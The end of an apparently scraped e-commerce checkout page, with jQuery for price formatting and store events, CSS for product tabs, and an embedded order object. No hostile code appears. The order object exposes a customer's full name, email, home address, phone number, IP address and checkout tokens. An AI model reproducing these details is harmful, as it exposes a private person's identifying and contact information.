$(value).html( currency_prefix + normalizeNumber(content) + currency_suffix );
}
});
function normalizeNumber(value){
var format_decimals = "2";
var thousand_separator = ",";
if(thousand_separator=="" || thousand_separator==null){
var decimal_separator = ".";
}
else{
var decimal_separator = thousand_separator=="," ? "." : ",";
}
var amount = value;
if(thousand_separator == "," && amount.indexOf(thousand_separator) != -1){
var amount_after_split = amount.split(thousand_separator);
amount = amount_after_split[0] + amount_after_split[1];
}
return amendNumberFormat(parseFloat(amount).toFixed(format_decimals), thousand_separator, decimal_separator);
}
function amendNumberFormat(g,h,i){
g += '';
x = g.split('.');
x1 = x[0];
x2 = x.length > 1 ? i + x[1] : '';
var rgx = /(\d+)(\d{3})/;
while (rgx.test(x1)) {
x1 = x1.replace(rgx, '$1' + ',' + '$2');
}
x1 = x1.replace(/,/g, h);
return x1 + x2;
}
</SCRIPT>
<SCRIPT>
$(".btn-discount").on("click", function(){
var code = $(this).closest(".input-group").find("input[name=discount_code]").val();
var data = { code: code }
EasyStore.Event.dispatch('CouponAdd', {
store: { host: 'https://' + window.location.hostname },
coupon: data
});
});
setTimeout(function(){
var checkout = {"id":11629085,"store_id":132952,"has_discounts":true,"customer_id":4273955,"number":0,"order_number":"0","currency":"MYR","currency_rate":"1.0","total_line_items_price":"25.00","total_discount":"0.00","custom_discount":"0.00","subtotal_price":"25.00","total_shipping":"5.00","total_tax":"0.00","shipping_tax":"0.00","total_price":"30.00","total_amount_include_transaction":"30.00","transaction_charge_fee":"0.00","transaction_charge_rate":"0.00","transaction_charge_rate_fee":"0.00","credit_used":"0.0","credit_earn":"0.00","order_item_total_discount":"0.00","pg_type_rate":0,"taxes_included":false,"discount_code":null,"order_discount_id":null,"credit_voucher_code":null,"credit_order_discount_id":null,"note":null,"note_attributes":null,"remark":"","token":"4c74bb78-b413-46c4-aaae-094057ea186d","cart_token":"52143e00-9fc3-451b-a99a-f23160019cc3","source_name":"SF","browser_ip":"14.192.214.80","landing_site":null,"referring_site":"https:\/\/www.hairdepot.my\/","fulfillment_status":"unfulfilled","financial_status":"unpaid","is_processed":false,"is_archived":false,"is_cancelled":false,"is_completed":0,"processed_at":null,"cancelled_at":null,"closed_at":null,"archived_at":null,"created_at":"2020-11-07T12:24:12.000+08:00","updated_at":"2020-11-07T12:36:44.000+08:00","payment_status":false,"user_id":null,"total_item_weight":400,"total_item_quantity":1,"shipping_id":"403259-ep2","store_app_id":"403259-ep2","shipping_method_name":"Pgeon Pgeon Delivery - Door to Door & Door to Point Delivery","order_tax":null,"order_item":[{"id":25411167,"order_id":11629085,"product_id":3174390,"product_name":"Schwarzkopf Osis+ Rock Hard (4) 150ml","variant_id":15010665,"variant_name":null,"discount_id":null,"sku":"4045787314557","barcode":"","price":"25.00","subtotal":"25.00","total_discount":"0.00","grams":"400.0","quantity":1,"taxable":false,"shipping_required":true,"total_tax":"0.00","created_at":"2020-11-07T12:31:30.000+08:00","item_image":{"id":13254418,"store_id":132952,"product_id":3174390,"format_type":"Images","youtube_id":null,"position":2,"extension":"jpeg","url":"https:\/\/cdn.store-assets.com\/s\/132952\/i\/13254418.jpeg","size":103512,"height":1042,"width":1042,"title":"Osis-16.jpg","is_deleted":false,"deleted_at":null,"s3_deleted":false,"s3_deleted_at":null,"created_at":"2020-03-11T17:47:13.000+08:00"},"handle":"schwarzkopf-osis-rock-hard-4-150ml","collections":"10.10,SCHWARZKOPF OSIS","brands":"SCHWARZKOPF OSIS","properties":[]}],"billing_address":{"id":5503962,"order_id":11629085,"first_name":"Choon Chan","last_name":"Sim","email":"jackymsg@yahoo.com","company":null,"address1":"23, Jalan BP3\/17","address2":"Bandar Bukit Puchong","city":"Puchong","zip":"47100","province":"Selangor","province_code":"MY-10","country":"Malaysia","country_code":"MY","district_code":null,"district_name":"","phone":"0123141480","latitude":null,"longitude":null,"is_deleted":false,"deleted_at":null,"updated_at":"2020-11-07T12:34:39.000+08:00","created_at":"2020-11-07T12:34:39.000+08:00"},"shipping_address":{"id":4721402,"order_id":11629085,"first_name":"Choon Chan","last_name":"Sim","email":"jackymsg@yahoo.com","company":null,"address1":"23, Jalan BP3\/17","address2":"Bandar Bukit Puchong","city":"Puchong","zip":"47100","province":"Selangor","province_code":"MY-10","country":"Malaysia","country_code":"MY","district_code":null,"district_name":"","phone":"0123141480","latitude":null,"longitude":null,"is_deleted":false,"deleted_at":null,"updated_at":"2020-11-07T12:34:39.000+08:00","created_at":"2020-11-07T12:34:39.000+08:00"},"pickup_location":null,"cod_type":0,"transaction_records":null,"warning":[],"shipping_warning":null,"pickup_warning":null,"cod_warning":null,"item_taxable":false,"total_price_no_comma":30,"shipping_include_tax":5,"format_decimals":2,"separator":","};
delivery_data = { method: "shipping", address: checkout.shipping_address }
if(checkout.pickup_location != null){
delivery_data = { method: "pickup", address: checkout.pickup_location }
delivery_data.address.first_name = checkout.billing_address.first_name
delivery_data.address.last_name = checkout.billing_address.last_name
}
if(delivery_data.address != null){
EasyStore.Event.dispatch('DeliveryAddressAdd', {
store: { host: 'https://' + window.location.hostname },
delivery: delivery_data
});
}
if(checkout.is_processed){
EasyStore.Event.dispatch('CheckoutCompleted', {
store: { host: 'https://' + window.location.hostname },
order: checkout
});
}
}, 1000);
</SCRIPT>
<STYLE>
.product-description-tabs{
color: #000000;
}
.prod-desc-tab-container {
padding: 15px;
margin-right: auto;
margin-left: auto;
background-color: #ffffff;
}
/* Style the list */
.prod-desc-tab {
list-style-type: none;
margin: 0;
padding: 0;
border-bottom: solid 1px #ddd;
/*overflow: hidden;
border: 1px solid #e6e6e6;
background-color: #fefefe;
border-bottom: 1px solid #ddd;*/
}
/* Float the list items side by side */
li.tablinks {
display: inline-block;
border-top: 3px solid transparent;
border-left: 1px solid transparent;
border-right: 1px solid transparent;
margin-bottom: -1px;
margin-right: 3px;
border-radius: 4px 4px 0 0;
background-color: rgba(212,212,212,0.3);
}
/* Style the links inside the list items */
li.tablinks a {
color: #000000;
cursor: pointer;
margin-right: 2px;
line-height: 1.42857143;
display: block;
padding: 10px 15px;
}
/* Change background color of links on hover */
li.tablinks:hover {
background-color: #ffffff;
border-bottom-color: transparent;
border-top: 3px solid #ddd;
border-left: 1px solid #ddd;
border-right: 1px solid #ddd;
} /*rgba(212,212,212,0.3)*/
/* Create an active/current tablink class */
li.tablinks a:focus, li.tablinks.active{
border-top: 3px solid #ddd;
border-left: 1px solid #ddd;
border-right: 1px solid #ddd;
background-color: #ffffff;
}
/* Style the tab content */
.prod-desc-tab-content {
display: none;
padding: 15px 15px;
/*border: 1px solid #ccc;*/
border-top: none;
clear: both;
-webkit-animation: fadeEffect 1s;
animation: fadeEffect 1s; /* Fading effect takes 1 second */
}
.prod-desc-tab-content > ul{
list-style-type: disc;
}
/* if user select is_show_title is true, the title will be displayed; if not, hide the title*/
.prod-desc-tab-content > h2{
display:block;
}
@-webkit-keyframes fadeEffect {
from {opacity: 0;}
to {opacity: 1;}
}
@keyframes fadeEffect {
from {opacity: 0;}
to {opacity: 1;}
}
.tab_drawer_heading { display: none; }
@media screen and (max-width: 480px) {
.prod-desc-tab {
display: none;
}
.tab_drawer_heading {
background-color: transparent;
color: #000000;
border-bottom: 1px solid #ddd;
margin: 0;
padding: 6px 12px;
display: block;
cursor: pointer;
-webkit-touch-callout: none;
-webkit-user-select: none;
-khtml-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
.tab_drawer_heading:after {
content: ' + ';
right: 40px;
position: absolute;
}
.d_active {
background-color: rgba(212,212,212,0.3);
}
.d_active.tab_drawer_heading:after{
content: ' - ';
}
}
</STYLE>
<SCRIPT type="text/javascript">
// If the page has no jquery
// if(typeof jQuery == 'undefined'){
// console.log(456);
// var script = document.createElement('script');
// script.type = "text/javascript";
// script.src = "https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js";
// console.log(script);
// document.getElementsByTagName('head')[0].appendChild(script);
// }
/* if in tab mode */
$("body").on("click", ".tablinks", function(){
var id = $(this).data("prod-desc-id");
// Get all elements with class="prod-desc-tab-content" and hide them
$(".prod-desc-tab-content").hide();
// Get all elements with class="tablinks" and remove the class "active"
$(".tablinks").removeClass("active");
// Show the current tab, and add an "active" class to the link that opened the tab
$("#"+id).show();
$(this).addClass("active");
//make mobile view(drawer mode) also in same tab
$(".tab_drawer_heading").removeClass("d_active");
$(".tab_drawer_heading[data-prod-desc-id='"+id+"']").addClass("d_active");
});
/* if in drawer mode */
$("body").on("click", ".tab_drawer_heading", function() {
var id = $(this).data("prod-desc-id");
$(".prod-desc-tab-content").hide();
$(".tab_drawer_heading").removeClass("d_active");
$("#"+id).show();
$(this).addClass("d_active");
$(".tablinks").removeClass("active");
$(".tablinks[data-prod-desc-id='"+id+"']").addClass("active");
});
$(function(){
var x = $(".product-description").find("h1, h2, h3, h4, h5, h6");
var title = null;
var body = null;
if(x.length > 1){
$(".product-description").after("<link href='/assets/css/froala_style.min.css' rel='stylesheet' type='text/css'/><div class='product-description-tabs fr-view'><ul class='prod-desc-tab'></ul><div class='prod-desc-tab-container'></div></div>");
$(x).each(function(k, v){
title = $(v).text();
if(k == 0){
body = $(x[0]).nextUntil(x[1]).clone();
$(".prod-desc-tab").append('<li class="tablinks active" data-prod-desc-id="'+k+'"><a>'+title+'</a></li>');
$(".prod-desc-tab-container").append('<h3 class="tab_drawer_heading d_active" data-prod-desc-id="'+k+'">'+title+'</h3><div id="'+k+'" class="prod-desc-tab-content" style="display:block"><h2>'+title+'</h2></div>');
$("#"+k+" h2").after(body);
}
else if(k == x.length){
body = $(x[k]).nextAll().clone();
$(".prod-desc-tab").append('<li class="tablinks" data-prod-desc-id="'+k+'"><a>'+title+'</a></li>');
$(".prod-desc-tab-container").append('<h3 class="tab_drawer_heading" data-prod-desc-id="'+k+'">'+title+'</h3><div id="'+k+'" class="prod-desc-tab-content" style="display:none"><h2>'+title+'</h2></div>');
$("#"+k+" h2").after(body);
}
else{
body = $(x[k]).nextUntil(x[k+1]).clone();
$(".prod-desc-tab").append('<li class="tablinks" data-prod-desc-id="'+k+'"><a>'+title+'</a></li>');
$(".prod-desc-tab-container").append('<h3 class="tab_drawer_heading" data-prod-desc-id="'+k+'">'+title+'</h3><div id="'+k+'" class="prod-desc-tab-content" style="display:none"><h2>'+title+'</h2></div>');
$("#"+k+" h2").after(body);
}
});
$(".product-description").hide();
}
});
</SCRIPT>
<SCRIPT>
$(".product-label-badge").parent().find(".badge--sale").remove();
</SCRIPT>
<STYLE>
.product-label-badge-text {
display: table-cell;
vertical-align: middle;
padding: 2px 8px 0;
border-radius: 50%;
}
.product-label-badge{
display: table;
position: absolute;
width: 60px;
height: 60px;
border-radius: 50%;
font-weight: bold;
text-align: center;
font-size: .75em;
line-height: 1.1;
z-index: 10;
}
.product-label-position{
top: -12px;
right: -12px;
}
</STYLE>
</div>
</form>
</body>
</html>